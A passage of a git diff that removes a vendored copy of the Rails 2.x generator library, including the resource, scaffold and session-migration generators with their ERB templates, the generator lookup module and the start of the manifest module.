diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb
deleted file mode 100644
index 4ee2fbff..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-class ResourceGenerator < Rails::Generator::NamedBase
-  default_options :skip_timestamps => false, :skip_migration => false
-
-  attr_reader   :controller_name,
-                :controller_class_path,
-                :controller_file_path,
-                :controller_class_nesting,
-                :controller_class_nesting_depth,
-                :controller_class_name,
-                :controller_singular_name,
-                :controller_plural_name
-  alias_method  :controller_file_name,  :controller_singular_name
-  alias_method  :controller_table_name, :controller_plural_name
-
-  def initialize(runtime_args, runtime_options = {})
-    super
-
-    @controller_name = @name.pluralize
-
-    base_name, @controller_class_path, @controller_file_path, @controller_class_nesting, @controller_class_nesting_depth = extract_modules(@controller_name)
-    @controller_class_name_without_nesting, @controller_singular_name, @controller_plural_name = inflect_names(base_name)
-
-    if @controller_class_nesting.empty?
-      @controller_class_name = @controller_class_name_without_nesting
-    else
-      @controller_class_name = "#{@controller_class_nesting}::#{@controller_class_name_without_nesting}"
-    end
-  end
-
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions("#{controller_class_name}Controller", "#{controller_class_name}Helper")
-      m.class_collisions(class_name)
-
-      # Controller, helper, views, and test directories.
-      m.directory(File.join('app/models', class_path))
-      m.directory(File.join('app/controllers', controller_class_path))
-      m.directory(File.join('app/helpers', controller_class_path))
-      m.directory(File.join('app/views', controller_class_path, controller_file_name))
-      m.directory(File.join('test/functional', controller_class_path))
-      m.directory(File.join('test/unit', class_path))
-      m.directory(File.join('test/unit/helpers', class_path))
-
-      m.dependency 'model', [name] + @args, :collision => :skip
-
-      m.template(
-        'controller.rb', File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
-      )
-
-      m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb"))
-      m.template('helper.rb',          File.join('app/helpers',     controller_class_path, "#{controller_file_name}_helper.rb"))
-      m.template('helper_test.rb',     File.join('test/unit/helpers',    controller_class_path, "#{controller_file_name}_helper_test.rb"))
-
-      m.route_resources controller_file_name
-    end
-  end
-
-  protected
-    def banner
-      "Usage: #{$0} resource ModelName [field:type, field:type]"
-    end
-
-    def add_options!(opt)
-      opt.separator ''
-      opt.separator 'Options:'
-      opt.on("--skip-timestamps",
-             "Don't add timestamps to the migration file for this model") { |v| options[:skip_timestamps] = v }
-      opt.on("--skip-migration",
-             "Don't generate a migration file for this model") { |v| options[:skip_migration] = v }
-    end
-
-    def model_name
-      class_name.demodulize
-    end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/controller.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/controller.rb
deleted file mode 100644
index 765a9426..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/controller.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class <%= controller_class_name %>Controller < ApplicationController
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/functional_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/functional_test.rb
deleted file mode 100644
index b1bb1dac..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/functional_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'test_helper'
-
-class <%= controller_class_name %>ControllerTest < ActionController::TestCase
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper.rb
deleted file mode 100644
index 9bd821b1..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module <%= controller_class_name %>Helper
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb
deleted file mode 100644
index 061f64a5..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class <%= controller_class_name %>HelperTest < ActionView::TestCase
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/USAGE
deleted file mode 100644
index 810aea16..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/USAGE
+++ /dev/null
@@ -1,29 +0,0 @@
-Description:
-    Scaffolds an entire resource, from model and migration to controller and
-    views, along with a full test suite. The resource is ready to use as a
-    starting point for your RESTful, resource-oriented application.
-
-    Pass the name of the model (in singular form), either CamelCased or
-    under_scored, as the first argument, and an optional list of attribute
-    pairs.
-
-    Attribute pairs are column_name:sql_type arguments specifying the
-    model's attributes. Timestamps are added by default, so you don't have to
-    specify them by hand as 'created_at:datetime updated_at:datetime'.
-
-    You don't have to think up every attribute up front, but it helps to
-    sketch out a few so you can start working with the resource immediately.
-
-    For example, 'scaffold post title:string body:text published:boolean'
-    gives you a model with those three attributes, a controller that handles
-    the create/show/update/destroy, forms to create and edit your posts, and
-    an index that lists them all, as well as a map.resources :posts
-    declaration in config/routes.rb.
-
-    If you want to remove all the generated files, run
-    'script/destroy scaffold ModelName'.
-
-Examples:
-    `./script/generate scaffold post`
-    `./script/generate scaffold post title:string body:text published:boolean`
-    `./script/generate scaffold purchase order_id:integer amount:decimal`
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb
deleted file mode 100644
index 88bc3252..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-class ScaffoldGenerator < Rails::Generator::NamedBase
-  default_options :skip_timestamps => false, :skip_migration => false, :force_plural => false
-
-  attr_reader   :controller_name,
-                :controller_class_path,
-                :controller_file_path,
-                :controller_class_nesting,
-                :controller_class_nesting_depth,
-                :controller_class_name,
-                :controller_underscore_name,
-                :controller_singular_name,
-                :controller_plural_name
-  alias_method  :controller_file_name,  :controller_underscore_name
-  alias_method  :controller_table_name, :controller_plural_name
-
-  def initialize(runtime_args, runtime_options = {})
-    super
-
-    if @name == @name.pluralize && !options[:force_plural]
-      logger.warning "Plural version of the model detected, using singularized version.  Override with --force-plural."
-      @name = @name.singularize
-      assign_names!(@name)
-    end
-
-    @controller_name = @name.pluralize
-
-    base_name, @controller_class_path, @controller_file_path, @controller_class_nesting, @controller_class_nesting_depth = extract_modules(@controller_name)
-    @controller_class_name_without_nesting, @controller_underscore_name, @controller_plural_name = inflect_names(base_name)
-    @controller_singular_name=base_name.singularize
-    if @controller_class_nesting.empty?
-      @controller_class_name = @controller_class_name_without_nesting
-    else
-      @controller_class_name = "#{@controller_class_nesting}::#{@controller_class_name_without_nesting}"
-    end
-  end
-
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions("#{controller_class_name}Controller", "#{controller_class_name}Helper")
-      m.class_collisions(class_name)
-
-      # Controller, helper, views, test and stylesheets directories.
-      m.directory(File.join('app/models', class_path))
-      m.directory(File.join('app/controllers', controller_class_path))
-      m.directory(File.join('app/helpers', controller_class_path))
-      m.directory(File.join('app/views', controller_class_path, controller_file_name))
-      m.directory(File.join('app/views/layouts', controller_class_path))
-      m.directory(File.join('test/functional', controller_class_path))
-      m.directory(File.join('test/unit', class_path))
-      m.directory(File.join('test/unit/helpers', class_path))
-      m.directory(File.join('public/stylesheets', class_path))
-
-      for action in scaffold_views
-        m.template(
-          "view_#{action}.html.erb",
-          File.join('app/views', controller_class_path, controller_file_name, "#{action}.html.erb")
-        )
-      end
-
-      # Layout and stylesheet.
-      m.template('layout.html.erb', File.join('app/views/layouts', controller_class_path, "#{controller_file_name}.html.erb"))
-      m.template('style.css', 'public/stylesheets/scaffold.css')
-
-      m.template(
-        'controller.rb', File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
-      )
-
-      m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb"))
-      m.template('helper.rb',          File.join('app/helpers',     controller_class_path, "#{controller_file_name}_helper.rb"))
-      m.template('helper_test.rb',     File.join('test/unit/helpers',    controller_class_path, "#{controller_file_name}_helper_test.rb"))
-
-      m.route_resources controller_file_name
-
-      m.dependency 'model', [name] + @args, :collision => :skip
-    end
-  end
-
-  protected
-    # Override with your own usage banner.
-    def banner
-      "Usage: #{$0} scaffold ModelName [field:type, field:type]"
-    end
-
-    def add_options!(opt)
-      opt.separator ''
-      opt.separator 'Options:'
-      opt.on("--skip-timestamps",
-             "Don't add timestamps to the migration file for this model") { |v| options[:skip_timestamps] = v }
-      opt.on("--skip-migration",
-             "Don't generate a migration file for this model") { |v| options[:skip_migration] = v }
-      opt.on("--force-plural",
-             "Forces the generation of a plural ModelName") { |v| options[:force_plural] = v }
-    end
-
-    def scaffold_views
-      %w[ index show new edit ]
-    end
-
-    def model_name
-      class_name.demodulize
-    end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
deleted file mode 100644
index cef254cd..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
+++ /dev/null
@@ -1,83 +0,0 @@
-class <%= controller_class_name %>Controller < ApplicationController
-  # GET /<%= table_name %>
-  # GET /<%= table_name %>.xml
-  def index
-    @<%= table_name %> = <%= class_name %>.all
-
-    respond_to do |format|
-      format.html # index.html.erb
-      format.xml  { render :xml => @<%= table_name %> }
-    end
-  end
-
-  # GET /<%= table_name %>/1
-  # GET /<%= table_name %>/1.xml
-  def show
-    @<%= file_name %> = <%= class_name %>.find(params[:id])
-
-    respond_to do |format|
-      format.html # show.html.erb
-      format.xml  { render :xml => @<%= file_name %> }
-    end
-  end
-
-  # GET /<%= table_name %>/new
-  # GET /<%= table_name %>/new.xml
-  def new
-    @<%= file_name %> = <%= class_name %>.new
-
-    respond_to do |format|
-      format.html # new.html.erb
-      format.xml  { render :xml => @<%= file_name %> }
-    end
-  end
-
-  # GET /<%= table_name %>/1/edit
-  def edit
-    @<%= file_name %> = <%= class_name %>.find(params[:id])
-  end
-
-  # POST /<%= table_name %>
-  # POST /<%= table_name %>.xml
-  def create
-    @<%= file_name %> = <%= class_name %>.new(params[:<%= file_name %>])
-
-    respond_to do |format|
-      if @<%= file_name %>.save
-        format.html { redirect_to(@<%= file_name %>, :notice => '<%= class_name %> was successfully created.') }
-        format.xml  { render :xml => @<%= file_name %>, :status => :created, :location => @<%= file_name %> }
-      else
-        format.html { render :action => "new" }
-        format.xml  { render :xml => @<%= file_name %>.errors, :status => :unprocessable_entity }
-      end
-    end
-  end
-
-  # PUT /<%= table_name %>/1
-  # PUT /<%= table_name %>/1.xml
-  def update
-    @<%= file_name %> = <%= class_name %>.find(params[:id])
-
-    respond_to do |format|
-      if @<%= file_name %>.update_attributes(params[:<%= file_name %>])
-        format.html { redirect_to(@<%= file_name %>, :notice => '<%= class_name %> was successfully updated.') }
-        format.xml  { head :ok }
-      else
-        format.html { render :action => "edit" }
-        format.xml  { render :xml => @<%= file_name %>.errors, :status => :unprocessable_entity }
-      end
-    end
-  end
-
-  # DELETE /<%= table_name %>/1
-  # DELETE /<%= table_name %>/1.xml
-  def destroy
-    @<%= file_name %> = <%= class_name %>.find(params[:id])
-    @<%= file_name %>.destroy
-
-    respond_to do |format|
-      format.html { redirect_to(<%= table_name %>_url) }
-      format.xml  { head :ok }
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
deleted file mode 100644
index cd2fc578..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-require 'test_helper'
-
-class <%= controller_class_name %>ControllerTest < ActionController::TestCase
-  test "should get index" do
-    get :index
-    assert_response :success
-    assert_not_nil assigns(:<%= table_name %>)
-  end
-
-  test "should get new" do
-    get :new
-    assert_response :success
-  end
-
-  test "should create <%= file_name %>" do
-    assert_difference('<%= class_name %>.count') do
-      post :create, :<%= file_name %> => { }
-    end
-
-    assert_redirected_to <%= file_name %>_path(assigns(:<%= file_name %>))
-  end
-
-  test "should show <%= file_name %>" do
-    get :show, :id => <%= table_name %>(:one).to_param
-    assert_response :success
-  end
-
-  test "should get edit" do
-    get :edit, :id => <%= table_name %>(:one).to_param
-    assert_response :success
-  end
-
-  test "should update <%= file_name %>" do
-    put :update, :id => <%= table_name %>(:one).to_param, :<%= file_name %> => { }
-    assert_redirected_to <%= file_name %>_path(assigns(:<%= file_name %>))
-  end
-
-  test "should destroy <%= file_name %>" do
-    assert_difference('<%= class_name %>.count', -1) do
-      delete :destroy, :id => <%= table_name %>(:one).to_param
-    end
-
-    assert_redirected_to <%= table_name %>_path
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper.rb
deleted file mode 100644
index 9bd821b1..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module <%= controller_class_name %>Helper
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb
deleted file mode 100644
index 061f64a5..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class <%= controller_class_name %>HelperTest < ActionView::TestCase
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
deleted file mode 100644
index 1478ff68..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
+++ /dev/null
@@ -1,17 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
-  <title><%= controller_class_name %>: <%%= controller.action_name %></title>
-  <%%= stylesheet_link_tag 'scaffold' %>
-</head>
-<body>
-
-<p style="color: green"><%%= notice %></p>
-
-<%%= yield %>
-
-</body>
-</html>
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/style.css b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/style.css
deleted file mode 100644
index 093c2099..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/style.css
+++ /dev/null
@@ -1,54 +0,0 @@
-body { background-color: #fff; color: #333; }
-
-body, p, ol, ul, td {
-  font-family: verdana, arial, helvetica, sans-serif;
-  font-size:   13px;
-  line-height: 18px;
-}
-
-pre {
-  background-color: #eee;
-  padding: 10px;
-  font-size: 11px;
-}
-
-a { color: #000; }
-a:visited { color: #666; }
-a:hover { color: #fff; background-color:#000; }
-
-.fieldWithErrors {
-  padding: 2px;
-  background-color: red;
-  display: table;
-}
-
-#errorExplanation {
-  width: 400px;
-  border: 2px solid red;
-  padding: 7px;
-  padding-bottom: 12px;
-  margin-bottom: 20px;
-  background-color: #f0f0f0;
-}
-
-#errorExplanation h2 {
-  text-align: left;
-  font-weight: bold;
-  padding: 5px 5px 5px 15px;
-  font-size: 12px;
-  margin: -7px;
-  background-color: #c00;
-  color: #fff;
-}
-
-#errorExplanation p {
-  color: #333;
-  margin-bottom: 0;
-  padding: 5px;
-}
-
-#errorExplanation ul li {
-  font-size: 12px;
-  list-style: square;
-}
-
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
deleted file mode 100644
index cca1d61c..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
+++ /dev/null
@@ -1,18 +0,0 @@
-<h1>Editing <%= singular_name %></h1>
-
-<%% form_for(@<%= singular_name %>) do |f| %>
-  <%%= f.error_messages %>
-
-<% for attribute in attributes -%>
-  <p>
-    <%%= f.label :<%= attribute.name %> %><br />
-    <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
-  </p>
-<% end -%>
-  <p>
-    <%%= f.submit 'Update' %>
-  </p>
-<%% end %>
-
-<%%= link_to 'Show', @<%= singular_name %> %> |
-<%%= link_to 'Back', <%= plural_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
deleted file mode 100644
index 2e603d5b..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
+++ /dev/null
@@ -1,24 +0,0 @@
-<h1>Listing <%= plural_name %></h1>
-
-<table>
-  <tr>
-<% for attribute in attributes -%>
-    <th><%= attribute.column.human_name %></th>
-<% end -%>
-  </tr>
-
-<%% @<%= plural_name %>.each do |<%= singular_name %>| %>
-  <tr>
-<% for attribute in attributes -%>
-    <td><%%=h <%= singular_name %>.<%= attribute.name %> %></td>
-<% end -%>
-    <td><%%= link_to 'Show', <%= singular_name %> %></td>
-    <td><%%= link_to 'Edit', edit_<%= singular_name %>_path(<%= singular_name %>) %></td>
-    <td><%%= link_to 'Destroy', <%= singular_name %>, :confirm => 'Are you sure?', :method => :delete %></td>
-  </tr>
-<%% end %>
-</table>
-
-<br />
-
-<%%= link_to 'New <%= singular_name %>', new_<%= singular_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
deleted file mode 100644
index 96c89fc5..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>New <%= singular_name %></h1>
-
-<%% form_for(@<%= singular_name %>) do |f| %>
-  <%%= f.error_messages %>
-
-<% for attribute in attributes -%>
-  <p>
-    <%%= f.label :<%= attribute.name %> %><br />
-    <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
-  </p>
-<% end -%>
-  <p>
-    <%%= f.submit 'Create' %>
-  </p>
-<%% end %>
-
-<%%= link_to 'Back', <%= plural_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
deleted file mode 100644
index adecaf70..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
+++ /dev/null
@@ -1,10 +0,0 @@
-<% for attribute in attributes -%>
-<p>
-  <b><%= attribute.column.human_name %>:</b>
-  <%%=h @<%= singular_name %>.<%= attribute.name %> %>
-</p>
-
-<% end -%>
-
-<%%= link_to 'Edit', edit_<%= singular_name %>_path(@<%= singular_name %>) %> |
-<%%= link_to 'Back', <%= plural_name %>_path %>
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/USAGE
deleted file mode 100644
index 87117a3c..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/USAGE
+++ /dev/null
@@ -1,10 +0,0 @@
-Description:
-    Creates a migration to add the sessions table used by the Active Record
-    session store. Pass the migration name, either CamelCased or under_scored,
-    as an argument.
-
-Example:
-    `./script/generate session_migration CreateSessionTable`
-
-    With 4 existing migrations, this creates the AddSessionTable migration
-    in db/migrate/005_add_session_table.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb
deleted file mode 100644
index 2e177033..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-class SessionMigrationGenerator < Rails::Generator::NamedBase
-  def initialize(runtime_args, runtime_options = {})
-    runtime_args << 'add_session_table' if runtime_args.empty?
-    super
-  end
-
-  def manifest
-    record do |m|
-      m.migration_template 'migration.rb', 'db/migrate',
-        :assigns => { :session_table_name => default_session_table_name }
-    end
-  end
-
-  protected
-    def default_session_table_name
-      ActiveRecord::Base.pluralize_table_names ? 'session'.pluralize : 'session'
-    end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/templates/migration.rb b/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/templates/migration.rb
deleted file mode 100644
index ca220a5f..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/session_migration/templates/migration.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class <%= class_name %> < ActiveRecord::Migration
-  def self.up
-    create_table :<%= session_table_name %> do |t|
-      t.string :session_id, :null => false
-      t.text :data
-      t.timestamps
-    end
-
-    add_index :<%= session_table_name %>, :session_id
-    add_index :<%= session_table_name %>, :updated_at
-  end
-
-  def self.down
-    drop_table :<%= session_table_name %>
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/lookup.rb b/vendor/rails/railties/lib/rails_generator/lookup.rb
deleted file mode 100644
index a3525364..00000000
--- a/vendor/rails/railties/lib/rails_generator/lookup.rb
+++ /dev/null
@@ -1,249 +0,0 @@
-require 'pathname'
-
-require File.dirname(__FILE__) + '/spec'
-
-class Object
-  class << self
-    # Lookup missing generators using const_missing.  This allows any
-    # generator to reference another without having to know its location:
-    # RubyGems, ~/.rails/generators, and RAILS_ROOT/generators.
-    def lookup_missing_generator(class_id)
-      if md = /(.+)Generator$/.match(class_id.to_s)
-        name = md.captures.first.demodulize.underscore
-        Rails::Generator::Base.lookup(name).klass
-      else
-        const_missing_before_generators(class_id)
-      end
-    end
-
-    unless respond_to?(:const_missing_before_generators)
-      alias_method :const_missing_before_generators, :const_missing
-      alias_method :const_missing, :lookup_missing_generator
-    end
-  end
-end
-
-# User home directory lookup adapted from RubyGems.
-def Dir.user_home
-  if ENV['HOME']
-    ENV['HOME']
-  elsif ENV['USERPROFILE']
-    ENV['USERPROFILE']
-  elsif ENV['HOMEDRIVE'] and ENV['HOMEPATH']
-    "#{ENV['HOMEDRIVE']}:#{ENV['HOMEPATH']}"
-  else
-    File.expand_path '~'
-  end
-end
-
-
-module Rails
-  module Generator
-
-    # Generator lookup is managed by a list of sources which return specs
-    # describing where to find and how to create generators.  This module
-    # provides class methods for manipulating the source list and looking up
-    # generator specs, and an #instance wrapper for quickly instantiating
-    # generators by name.
-    #
-    # A spec is not a generator:  it's a description of where to find
-    # the generator and how to create it.  A source is anything that
-    # yields generators from #each.  PathSource and GemGeneratorSource are provided.
-    module Lookup
-      def self.included(base)
-        base.extend(ClassMethods)
-        base.use_component_sources!
-      end
-
-      # Convenience method to instantiate another generator.
-      def instance(generator_name, args, runtime_options = {})
-        self.class.instance(generator_name, args, runtime_options)
-      end
-
-      module ClassMethods
-        # The list of sources where we look, in order, for generators.
-        def sources
-          read_inheritable_attribute(:sources) or use_component_sources!
-        end
-
-        # Add a source to the end of the list.
-        def append_sources(*args)
-          sources.concat(args.flatten)
-          invalidate_cache!
-        end
-
-        # Add a source to the beginning of the list.
-        def prepend_sources(*args)
-          write_inheritable_array(:sources, args.flatten + sources)
-          invalidate_cache!
-        end
-
-        # Reset the source list.
-        def reset_sources
-          write_inheritable_attribute(:sources, [])
-          invalidate_cache!
-        end
-
-        # Use application generators (app, ?).
-        def use_application_sources!
-          reset_sources
-          sources << PathSource.new(:builtin, "#{File.dirname(__FILE__)}/generators/applications")
-        end
-
-        # Use component generators (model, controller, etc).
-        # 1.  Rails application.  If RAILS_ROOT is defined we know we're
-        #     generating in the context of a Rails application, so search
-        #     RAILS_ROOT/generators.
-        # 2.  Look in plugins, either for generators/ or rails_generators/ 
-        #     directories within each plugin
-        # 3.  User home directory.  Search ~/.rails/generators.
-        # 4.  RubyGems.  Search for gems named *_generator, and look for 
-        #     generators within any RubyGem's 
-        #     /rails_generators/<generator_name>_generator.rb file.
-        # 5.  Builtins.  Model, controller, mailer, scaffold, and so on.
-        def use_component_sources!
-          reset_sources
-          if defined? ::RAILS_ROOT
-            sources << PathSource.new(:lib, "#{::RAILS_ROOT}/lib/generators")
-            sources << PathSource.new(:vendor, "#{::RAILS_ROOT}/vendor/generators")
-            Rails.configuration.plugin_paths.each do |path|
-              relative_path = Pathname.new(File.expand_path(path)).relative_path_from(Pathname.new(::RAILS_ROOT))
-              sources << PathSource.new(:"plugins (#{relative_path})", "#{path}/*/**/{,rails_}generators")
-            end
-          end
-          sources << PathSource.new(:user, "#{Dir.user_home}/.rails/generators")
-          if Object.const_defined?(:Gem)
-            sources << GemGeneratorSource.new
-            sources << GemPathSource.new
-          end
-          sources << PathSource.new(:builtin, "#{File.dirname(__FILE__)}/generators/components")
-        end
-
-        # Lookup knows how to find generators' Specs from a list of Sources.
-        # Searches the sources, in order, for the first matching name.
-        def lookup(generator_name)
-          @found ||= {}
-          generator_name = generator_name.to_s.downcase
-          @found[generator_name] ||= cache.find { |spec| spec.name == generator_name }
-          unless @found[generator_name] 
-            chars = generator_name.scan(/./).map{|c|"#{c}.*?"}
-            rx = /^#{chars}$/
-            gns = cache.select{|spec| spec.name =~ rx }
-            @found[generator_name] ||= gns.first if gns.length == 1
-            raise GeneratorError, "Pattern '#{generator_name}' matches more than one generator: #{gns.map{|sp|sp.name}.join(', ')}" if gns.length > 1
-          end
-          @found[generator_name] or raise GeneratorError, "Couldn't find '#{generator_name}' generator"
-        end
-
-        # Convenience method to lookup and instantiate a generator.
-        def instance(generator_name, args = [], runtime_options = {})
-          lookup(generator_name).klass.new(args, full_options(runtime_options))
-        end
-
-        private
-          # Lookup and cache every generator from the source list.
-          def cache
-            @cache ||= sources.inject([]) { |cache, source| cache + source.to_a }
-          end
-
-          # Clear the cache whenever the source list changes.
-          def invalidate_cache!
-            @cache = nil
-          end
-      end
-    end
-
-    # Sources enumerate (yield from #each) generator specs which describe
-    # where to find and how to create generators.  Enumerable is mixed in so,
-    # for example, source.collect will retrieve every generator.
-    # Sources may be assigned a label to distinguish them.
-    class Source
-      include Enumerable
-
-      attr_reader :label
-      def initialize(label)
-        @label = label
-      end
-
-      # The each method must be implemented in subclasses.
-      # The base implementation raises an error.
-      def each
-        raise NotImplementedError
-      end
-
-      # Return a convenient sorted list of all generator names.
-      def names
-        map { |spec| spec.name }.sort
-      end
-    end
-
-
-    # PathSource looks for generators in a filesystem directory.
-    class PathSource < Source
-      attr_reader :path
-
-      def initialize(label, path)
-        super label
-        @path = path
-      end
-
-      # Yield each eligible subdirectory.
-      def each
-        Dir["#{path}/[a-z]*"].each do |dir|
-          if File.directory?(dir)
-            yield Spec.new(File.basename(dir), dir, label)
-          end
-        end
-      end
-    end
-
-    class AbstractGemSource < Source
-      def initialize
-        super :RubyGems
-      end
-    end
-
-    # GemGeneratorSource hits the mines to quarry for generators.  The latest versions
-    # of gems named *_generator are selected.
-    class GemGeneratorSource < AbstractGemSource
-      # Yield latest versions of generator gems.
-      def each
-        dependency = Gem::Dependency.new(/_generator$/, Gem::Requirement.default)
-        Gem::cache.search(dependency).inject({}) { |latest, gem|
-          hem = latest[gem.name]
-          latest[gem.name] = gem if hem.nil? or gem.version > hem.version
-          latest
-        }.values.each { |gem|
-          yield Spec.new(gem.name.sub(/_generator$/, ''), gem.full_gem_path, label)
-        }
-      end
-    end
-
-    # GemPathSource looks for generators within any RubyGem's /rails_generators/<generator_name>_generator.rb file.
-    class GemPathSource < AbstractGemSource
-      # Yield each generator within rails_generator subdirectories.
-      def each
-        generator_full_paths.each do |generator|
-          yield Spec.new(File.basename(generator).sub(/_generator.rb$/, ''), File.dirname(generator), label)
-        end
-      end
-
-      private
-        def generator_full_paths
-          @generator_full_paths ||=
-            Gem::cache.inject({}) do |latest, name_gem|
-              name, gem = name_gem
-              hem = latest[gem.name]
-              latest[gem.name] = gem if hem.nil? or gem.version > hem.version
-              latest
-            end.values.inject([]) do |mem, gem|
-              Dir[gem.full_gem_path + '/{rails_,}generators/**/*_generator.rb'].each do |generator|
-                mem << generator
-              end
-              mem
-            end
-        end
-    end
-
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/manifest.rb b/vendor/rails/railties/lib/rails_generator/manifest.rb
deleted file mode 100644
index 702effa7..00000000
--- a/vendor/rails/railties/lib/rails_generator/manifest.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-module Rails
-  module Generator
-
-    # Manifest captures the actions a generator performs.  Instantiate
-    # a manifest with an optional target object, hammer it with actions,
-    # then replay or rewind on the object of your choice.
-    #
-    # Example:
-    #   manifest = Manifest.new { |m|
-    #     m.make_directory '/foo'
-    #     m.create_file '/foo/bar.txt'
-    #   }
